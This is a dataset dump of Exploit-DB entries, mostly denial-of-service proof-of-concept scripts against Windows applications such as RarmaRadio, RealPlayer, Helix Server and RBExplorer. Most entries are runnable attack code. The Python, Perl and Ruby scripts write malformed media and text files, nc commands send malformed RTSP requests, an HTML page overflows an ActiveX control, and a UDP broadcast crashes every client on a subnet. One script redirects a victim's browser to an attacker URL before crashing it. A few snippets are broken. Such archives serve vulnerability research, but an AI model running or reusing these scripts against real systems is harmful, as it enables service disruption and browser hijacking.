deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49207
Description: RarmaRadio 2.72.5 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-12-07
Author: Ismael Nava

Exploit:
# Exploit Title: RarmaRadio 2.72.5 - Denial of Service (PoC)
# Date: 2020-05-12
# Exploit Author: Ismael Nava
# Vendor Homepage: http://www.raimersoft.com/
# Software Link: https://www.raimersoft.com/rarmaradio.html
# Version: 2.75.5
# Tested on: Windows 10 Home x64
# CVE : n/a

#STEPS
# Open the program TapinRadio 
# In Edit select Settings option
# Click in Network
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Paimon.txt"
# Paste the content in the field Username, Address and Server and click in OK
# End :)


buffer = 'K' * 20000

try: 
    file = open("Paimon.txt","w")
    file.write(buffer)
    file.close()

    print("Archive ready")
except:
    print("Archive no ready")
Exploit-DB #49906
Description: RarmaRadio 2.72.8 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2021-05-26
Author: Ismael Nava

Exploit:
# Exploit Title: RarmaRadio 2.72.8 - Denial of Service (PoC)
# Date: 2021-05-25
# Exploit Author: Ismael Nava
# Vendor Homepage: http://www.raimersoft.com/
# Software Link: http://raimersoft.com/downloads/rarmaradio_setup.exe
# Version: 2.75.8
# Tested on: Windows 10 Home x64

#STEPS
# Open the program RarmaRadio
# Click in Edit and select Settings
# Click in Network option
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Lambda.txt"
# Paste the content in the fields Username, Server, Port and User Agent
# Click in OK
# End :)


buffer = 'Ñ' * 100000

try: 
    file = open("Lambda.txt","w")
    file.write(buffer)
    file.close()

    print("Archive ready")
except:
    print("Archive no ready")
Exploit-DB #25921
Description: Raven Software Soldier Of Fortune 2 - Ignore Command Remote Denial of Service
Type: dos
Platform: windows
Date: 2005-06-29
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/14098/info

A remote denial of service vulnerability affects Raven Software Soldier Of Fortune 2.

The problem presents itself specifically when the affected server application receives an excessively large value through a '/ignore' command from a malicious client.

An attacker may leverage this issue to cause an affected server to crash, denying service to legitimate users. 

/ignore 123456789
Exploit-DB #1784
Description: raydium svn 309 - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2006-05-14
Author: Luigi Auriemma

Exploit:
# Raydium <= SVN 309 Multiple Remote Vulnerabilities Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1784.zip (05132006-raydiumx.zip)
Exploit-DB #1246
Description: RBExplorer 1.0 - Hijacking Command Denial of Service
Type: dos
Platform: windows
Date: 2005-10-11
Author: basher13

Exploit:
#!usr/bin/perl
#
#       RBExplorer Hijack Command Exploit
# ----------------------------------------------
#      Infam0us Gr0up - Securiti Research
#
# Info: infamous.2hell.com
# Vendor URL: http://www.kabrian.com /arbie@kabrian.com 
#

use IO::Socket;

if (@ARGV != 3)
{
print "\n RBExplorer Hijack Command Exploit\n";
print "-----------------------------------------\n\n";
print "[!] usage: perl $0 [target] [localIP] [LocalURL]\n";
print "[?] exam: perl $0 192.332.34.4 213.234.12.1 http://hijack.spyp0rn.com\n";
print "\n";
exit ();
}

$adr = $ARGV[0];
$lip = $ARGV[1];
$lurl = $ARGV[2];

$crash =
"\x23\x44\x6f\x77\x6e\x6c\x6f\x61\x64".
"\x57\x48\x4f\x41\x52\x45\x59\x4f\x55\x49".
"\x53\x4e\x4f\x54\x49\x4d\x50\x4f\x52\x54".
"\x41\x4e\x54\x42\x55\x54\x54\x48\x45\x52".
"\x45\x4f\x4e\x45\x57\x41\x59\x54\x4f\x46".
"\x49\x4c\x4c\x46\x52\x45\x45\x49\x42\x45".
"\x4c\x49\x56\x45";

print "\n[+] Connect to $adr..\n";
$remote = IO::Socket::INET->new(Proto=>"\x74\x63\x70", PeerAddr=>$adr,
PeerPort=>10011, Reuse=>1) or die "Error: can't connect to $adr:10011\n";

$chr1 = "\x24\x49\x50\x3a";
$chr2 = "\x23\x4e\x61\x76\x69\x67\x61\x74\x65\x54\x6f";

print "[+] Connected\n";
$remote->autoflush(1);
print $remote "\n";
sleep(1);
print $remote "$chr1 $lip\n" and print "[+] Hijacking $adr...\n" or die
"[-] Error: $lip not listen\n";
sleep(2);
print "[+] $lip listening!\n";
print $remote "$chr2 $lurl\n" and print "[+] Hijacking browser...\n" or die
"[-] Error: hijacking failed\n";
sleep(2);
print "[+] Browser hijacked!\n";
print "[+] Sleep 15 seconds..\n";
sleep(15);
print "[+] Send crash byte..\n";
print $remote "$crash";
sleep(2);
print "[+] DONE\n\n";
print "..press any key to exit\n";
$bla= ;
close $remote;

# milw0rm.com [2005-10-11]
Exploit-DB #24010
Description: Real Networks Helix Universal Server 9.0.x - Denial of Service
Type: dos
Platform: windows
Date: 2004-04-15
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/10157/info

It has been reported that Real Networks Helix Universal Server is affected by a remote denial of service vulnerability. This issue is due to a failure of the application to properly handle malformed RTSP (Real-Time Streaming Protocol) requests.

An attacker may leverage this issue to trigger a denial of service condition in the affected server.

$ echo -e "GET_PARAMETER / RTSP/1.0\n\n" | nc -v localhost 554
$ echo -e "DESCRIBE / RTSP/1.0\nSession:\n\n" | nc -v localhost 554
Exploit-DB #37463
Description: Real Networks RealPlayer - '.avi' File Divide-by-Zero Denial of Service
Type: dos
Platform: windows
Date: 2012-06-28
Author: Dark-Puzzle

Exploit:
source: https://www.securityfocus.com/bid/54220/info

Real Networks RealPlayer is prone to a remote denial-of-service vulnerability.

Successful exploits may allow attackers to crash the affected application, resulting in denial-of-service conditions.

RealPlayer 10 Gold is vulnerable; other versions may also be affected. 

#------------------------------------------------------------------------#
#                                                                        #
#                     Usage : perl realplayer.pl                         #
#                                                                        #
#------------------------------------------------------------------------#

my $h ="\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00 
\x9b\x0e\xf3\xf8\xdb\xa7\x3b\x6f\xc8\x16\x08\x7f\x88\xa2\xf9\xcb
\x87\xab\x7f\x17\xa9\x9f\xa1\xb9\x98\x8e\x2b\x87\xcb\xf9\xbe\x50 
\x42\x99\x11\x26\x5c\xb6\x79\x44\xec\xe2\xee\x71\xd0\x5b\x50\x4e 
\x37\x34\x3d\x55\xc8\x2c\x4f\x28\x9a\xea\xd0\xc7\x6d\xca\x47\xa2 
\x07\xda\x51\xb7\x97\xe6\x1c\xd5\xd8\x32\xf9\xb1\x04\xa7\x08\xb2 
\xe9\xfb\xb5\x1a\xb7\xa7\x7a\xa6\xf9\xf6\xc9\x93\x91\xa1\x21\x29 
\xa3\x1c\xe3\xc7\xcb\x17\xfd\x8d\x65\xfd\x81\x61\x6b\x89\xaf\x53 
\x31\x45\x0c\x71\xcb\x93\xcb\x6e\x2a\xcf\xa6\x76\x1a\xa8\xcc\xad 
\x81\xfd\xc4\x56\xa7\x82\xda\x3d\x20\x80\xff\x4c\xbe\xc0\x4c\x61
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x06\x00\x00\x00\xff"; 


#[Disassembly] 
#"\x0C\x20\x87\x74"               PUSH EBX
#"\x0D\x20\x87\x74"               MOV EAX,DWORD PTR SS:[EBP+8]
#"\x10\x20\x87\x74"               MOV EBX,DWORD PTR SS:[EBP+C]
#"\x13\x20\x87\x74"               MOV ECX,DWORD PTR SS:[EBP+10]
#"\x16\x20\x87\x74"               MUL EBX
#"\x18\x20\x87\x74"               MOV EBX,ECX
#"\x1A\x20\x87\x74"               SHR EBX,1
#"\x1C\x20\x87\x74"               ADD EAX,EBX
#"\x1E\x20\x87\x74"               ADC EDX,0
#"\x21\x20\x87\x74"               DIV ECX <<---- As we see we can't devise by Zero .So this occurs an error and the program crashes here .

#[Registers]
#EAX 00000000
#ECX 00000000
#EDX 00000000
#EBX 00000000

# error : Integer Division by Zero ---> Exception handling vulnerability .

# This Exception handling can lead to a DOS attack . However The Concept of using this vulnerability is the create an exception so the program crashes.And it's a local exploit .




my $file = "exploit.avi";

open ($File, ">$file");
print $File $h;
close ($File);
print "0/// Exploit By Dark-Puzzle !                  \n";
print "1/// Follow me : http://fb.me/dark.puzzle      \n";
print "0/// avi file Created Enjoy!                   \n";
print "N.B : If the program says to locate the file just browse into it's directory and select it , if not , Enjoy\n";

# End Of Exploit 
#--------------------
Exploit-DB #19834
Description: Real Networks RealPlayer 6/7 - Location Buffer Overflow
Type: dos
Platform: windows
Date: 2000-04-03
Author: Adam Muntner

Exploit:
source: https://www.securityfocus.com/bid/1088/info

Unchecked buffer code exists in the 'location' field of Real Networks RealPlayer versions 6.0 and 7.0. Requesting a URL containing a string consisting of 300 or more characters would cause the application to crash and would require a restart in order to regain normal functionality. Arbitrary code can potentially be executed through this vulnerability.

This vulnerability may be exploited remotely if such a URL were embedded in a HTML file with the command 'autostart' set as 'true'. Both RealPlayer and the accompanying browser would crash in this case and require to be restarted to regain functionality.

So far only the Windows versions of the Real Player have been proven to be vulnerable in this manner. 

http://<string containing over 300 characters>
Exploit-DB #11084
Description: Real Player - Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-01-10
Author: D3V!L FUCKER

Exploit:
#!/user/bin/perl
# Exploit Title: [Real Player Local Crash Poc]
# Date: [2010/01/09]
# Author: [D3V!L FUCKER]
# Software Link: [http://www.real.com]
# Version: [12.0.0.343]
# Tested on: [windows XP sp2]
# Code :


$boom="http://"."A" x 8000000;

open(myfile,'>>Crash.rm') || die "Cannot Creat file\n\n";
print myfile $boom;
print "Done..!~#\n";
Exploit-DB #17087
Description: Real player 14.0.2.633 - Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2011-04-01
Author: ^Xecuti0N3r

Exploit:
#!/usr/bin/perl
#(+)Exploit Title: Real player 14.0.2.633 Buffer overflow/DOS Exploit
#(+)Software Link: www.soft32.com/download_122615.html
#(+)Software:  Real player
#(+)Version:   14.0.2.633
#(+)Tested On: WIN-XP SP3
#(+) Date    : 31.03.2011
#(+) Hour    : 13:37 PM
#Similar Bug was found by cr4wl3r in MediaPlayer Classic
system("color 6");
system("title Real player 14.0.2.633 Buffer overflow/DOS Exploit");
print "
_______________________________________________________________________
																	
(+)Exploit Title: Real player 14.0.2.633 Buffer overflow/DOS Exploit  
 
(+) Software Link: www.soft32.com/download_122615.html					
(+) Software:  Real player												
(+) Version:   14.0.2.633												
(+) Tested On: WIN-XP SP3												
(+) Date    : 31.03.2011												
(+) Hour    : 13:37 PM													
____________________________________________________________________\n";
sleep 2;
system("cls");
system("color 2");
print "\nGenerating the exploit file !!!";
sleep 2;
print "\n\nExploit.avi file generated!!";
sleep 2;
$theoverflow = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
 
open(file, "> Exploit.avi");
print (file $theoverflow);
print "\n\n(+) Done!\n
(+) Now Just open Explot.avi with Real Player and Kaboooommm !! ;) \n
(+) Most of the times there is a crash\n whenever you open the folder where the Exploit.avi is stored :D \n";

sleep 3;
system("cls");
sleep 1;
system("color C");
print "\n\n\n########################################################################\n
(+)Exploit Coded by: ^Xecuti0N3r \n
(+)^Xecuti0N3r: E-mail \n
(+)d3M0l!tioN3r: E-mail \n
(+)Special Thanks to: MaxCaps, aNnIh!LatioN3r & d3M0l!tioN3r \n
########################################################################\n\n";
system("pause");
Exploit-DB #18902
Description: Real-DRAW PRO 5.2.4 - Import File Crash
Type: dos
Platform: windows
Date: 2012-05-21
Author: Ahmed Elhady Mohamed

Exploit:
Real-DRAW PRO 5.2.4 Import File Crash
===================================================================================
# Exploit Title:Real-DRAW PRO 5.2.4 Malicious PNG File Denial of service
# Vendor : http://www.mediachance.com/
# Author: Ahmed Elhady Mohamed
# Email : ahmed.elhady.mohamed@gmail.com
# Website: www.infosec4all.tk
# version: 5.2.4
# Category: DOS
# Tested on: windows XP SP3
===================================================================================



########################################DESC#############################################
#Real-Draw seamlessly combines vector tools with the rich look of pixel based images and#
#innovative natural paint techniques into a single graphics editor.                     #
#########################################################################################

########################################################################################
#Real-DRAW PRO 5.2.4 crashes while importing a crafted PNG, WMF, PSD, TGA, TTF, BMP,   #
#TIFF and PCX file                                                                     #
#To trigger the exploit , go to file->Import                                           #
########################################################################################

 
#!/usr/bin/ruby
 

File.open "Crash.png" , "w" do |file|
junk = "A" *1000
file.write junk
end
Exploit-DB #35895
Description: RealityServer Web Services RTMP Server 3.1.1 build 144525.5 - Null Pointer Dereference Denial of Service
Type: dos
Platform: windows
Date: 2011-06-28
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/48476/info

RealityServer Web Services is prone to a remote denial-of-service vulnerability caused by a NULL pointer dereference.

Attackers can exploit this issue to cause the server to dereference an invalid memory location, resulting in a denial-of-service condition. Due to the nature of this issue arbitrary code-execution maybe possible; however this has not been confirmed.

RealityServer Web Services 3.1.1 build[PII_REDACTED] is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15992.zip




#######################################################################

                             Luigi Auriemma

Application:  NVIDIA RealityServer
              http://www.realityserver.com/products/realityserver.html
              http://www.nvidia.com/object/realityserver.html
Versions:     <= 3.1.1 build[PII_REDACTED]
Platforms:    Windows and Linux
Bug:          NULL pointer
Exploitation: remote, versus server
Date:         27 Jun 2011 (found and reported on my forum 04 Dec 2010)
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"The RealityServer� platform is a powerful combination of NVIDIA�
Tesla� GPUs and 3D web services software that delivers interactive,
photorealistic applications over the web, enabling product designers,
architects and consumers to easily visualize 3D scenes with remarkable
realism."


#######################################################################

======
2) Bug
======


If the byte at offset 0xc01 of the packet is >= 0x80 there will be a
NULL pointer dereference.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip

  udpsz -C 03 -b 0xff -T SERVER 1935 0xc02


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #14408
Description: Really Simple IM 1.3beta - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2010-07-18
Author: loneferret

Exploit:
#!/usr/bin/python

import socket
import sys

# Bug found: 18th July 2010
# DoS proof of concept
# Found  by: loneferret
# Tested on Windows XP Professional SP2-SP3 & Windows XP Home SP3 

# Really Simple IM verion 1.3 beta
# Software: http://code.google.com/p/reallysimpleim/
# Nods to exploit-db
# I don't want this on injector <- notice the no leet talk.

# This little application uses UDP to & send receive messages.
# It broadcasts everything, and picks up everything
# on port 54533.
# The funny thing with this PoC, it will crash all clients
# in the same subnet. Yup it's that funny. That's the only thing it does too...
# No EIP, no SEH but the buffer is still in memory at the
# moment of the crash. Figured I'd share anyway.


#Commands
# 'p' Connect and adds users to list
# 'a' Disconnect message
# 'b' Send message
# 't' Direct message

host = '192.168.xxx.255'  #Adjust broadcast address to your network
port = 54533

buffer



try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   s.bind((host,0))
   s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
except:
   print "socket() failed"
   sys.exit(1)

da = "p"
da += "W00T" + ("\x41" * 10000)
s.sendto(da, (host, port))
Exploit-DB #30812
Description: RealMedia RealPlayer 10.5/11 - 'ierpplug.dll' PlayerProperty ActiveX Control Buffer Overflow
Type: dos
Platform: windows
Date: 2007-11-26
Author: Elazar Broad

Exploit:
source: https://www.securityfocus.com/bid/26586/info

The RealPlayer ActiveX control is prone to a buffer-overflow vulnerability because the software fails to properly bounds-check user-supplied data before copying it to an insufficiently sized buffer.

A remote attacker may exploit this vulnerability by presenting a malicious file to a victim and enticing them to open it with the vulnerable application.

Successful exploits can allow attackers to run arbitrary code in the context of the user running an application that uses the control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.

This issue affects RealPlayer 10.5; other versions may also be affected.

NOTE: This issue was originally covered in BID 22811 - RealMedia RealPlayer Ierpplug.DLL ActiveX Control Multiple Buffer Overflow Vulnerabilities. 

<!--
written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
    var s = "AAAA";

    while (s.length < 999999) s=s+s;

     var obj = new ActiveXObject("IERPCTL.IERPCTL"); //{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}


      var obj2 = obj.PlayerProperty(s);


   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">

 </body>
Exploit-DB #29455
Description: RealNetwork RealPlayer 10.5 - '.MID' File Handling Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-01-15
Author: shinnai

Exploit:
source: https://www.securityfocus.com/bid/22050/info

RealNetwork RealPlayer is prone to a remote denial-of-service vulnerability because the application fails to handle specially crafted files.

Exploiting this issue allows remote attackers to crash the application, denying further service to legitimate users. Arbitrary code execution might be possible, but this is not confirmed.

Version 10.5 is vulnerable to this issue; other versions may also be affected. 

print "-----------------------------------------------------------------------"
print "# RealPlayer 10.5 .mid file Denial of Service"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://shinnai.altervista.org"
print "# Tested on Windows XP Professional SP2 all patched"
print "-----------------------------------------------------------------------"

fileOut = open('PoC.mid','wb')
fileOut.write('\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00')
fileOut.close()
Exploit-DB #19856
Description: RealNetworks Real Server 7.0 / GameHouse dldisplay ActiveX control 0 - Denial of Service
Type: dos
Platform: windows
Date: 2000-04-20
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/1128/info

Sending malformed packets to port 7070 will cause Real Server to stop responding. Restarting the server will be required in order to re-establish normal functionality. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19856-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19856-2.zip
Exploit-DB #32956
Description: RealNetworks RealPlayer Gold 10.0 MP3 - File Handling Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-04-27
Author: Abdul-Aziz Hariri

Exploit:
source: https://www.securityfocus.com/bid/34719/info

RealNetworks RealPlayer is prone to a remote denial-of-service vulnerability because the application fails to handle specially crafted files.

Exploiting this issue allows remote attackers to crash the application, denying further service to legitimate users.

RealPlayer 10 Gold is vulnerable; other versions may also be affected. 

#!/usr/bin/python

import sys,os

#RealPlayer MP3 DoS PoC by AbdulAziz Hariri - ahariri@insight-tech.org

mp3_file = 
("\x49\x44\x33\x00\x00\x00\x00\x00\x09\x07\x41\x41\x41\x41\x00\x00\x00\x08\x00\x00\x00"+
"\x50\x69\x73\x74\x65\x20\x35\x54\x50\x45\x31\x00\x00\x00\x05\x00\x00\x00\x41\x6e"+
"\x69\x73\x54\x41\x4c\x42\x00\x00\x00\x0d\x00\x00\x00\x41\x41\x41\x41"+
"\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
+ "\x41"*2000)

try:
f = open("foo.mp3","w")
try:
f.write(mp3_file)
finally:
f.close()
except IOError:
pass

print "[x] Try loading foo.mp3"
Exploit-DB #4118
Description: RealNetworks RealPlayer/HelixPlayer - SMIL wallclock Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-06-27
Author: axis

Exploit:
<!--
author:	axis
site:   http://www.ph4nt0m.org
-->

<smil xmlns="http://www.w3.org/2000/SMIL20/CR/Language">
  <body>
    <par>
      <img src="./1.jpg" begin="wallclock(12:00:00[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]99+9)" dur="5s"/>
    </par>
  </body>
</smil>

# milw0rm.com [2007-06-27]
Exploit-DB #14992
Description: RealPlayer - FLV Parsing Integer Overflow
Type: dos
Platform: windows
Date: 2010-09-13
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____ 
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/
 
'''

'''
Title    : RealPlayer FLV Parsing Multiple Integer Overflow
Version	 : RealPlayer SP 1.1.4
Analysis : http://www.abysssec.com
Vendor	 : http://www.real.com
Impact	 : High
Contact	 : shahin [at] abysssec.com , info [at] abysssec.com
Twitter	 : @abysssec
CVE      : CVE-2010-3000
'''


# POC for CVE-2010-3000
# http://www.exploit-db.com/moaub-13-realplayer-flv-parsing-multiple-integer-overflow/
# https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14992.zip (moaub-13-exploit.zip)

import sys

def main():

	flvHeader = '\x46\x4C\x56\x01\x05\x00\x00\x00\x09'
	flvBody1 = '\x00\x00\x00\x00\x12\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x02\x00\x0A\x6F\x6E\x4D\x65\x74\x61\x44\x61\x74\x61\x08'
	HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value = "\x07\x50\x75\x08"   #  if value >= 0x7507508   --> crash
	flvBody2  = "\x00\x00\x09\x00\x00\x00\x20"
	
	flv = open('poc.flv', 'wb+')
	flv.write(flvHeader)
	flv.write(flvBody1)
	flv.write(HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value)
	flv.write(flvBody2)
	
	flv.close()
	print '[-] FLV file generated'
	
if __name__ == '__main__':
    main()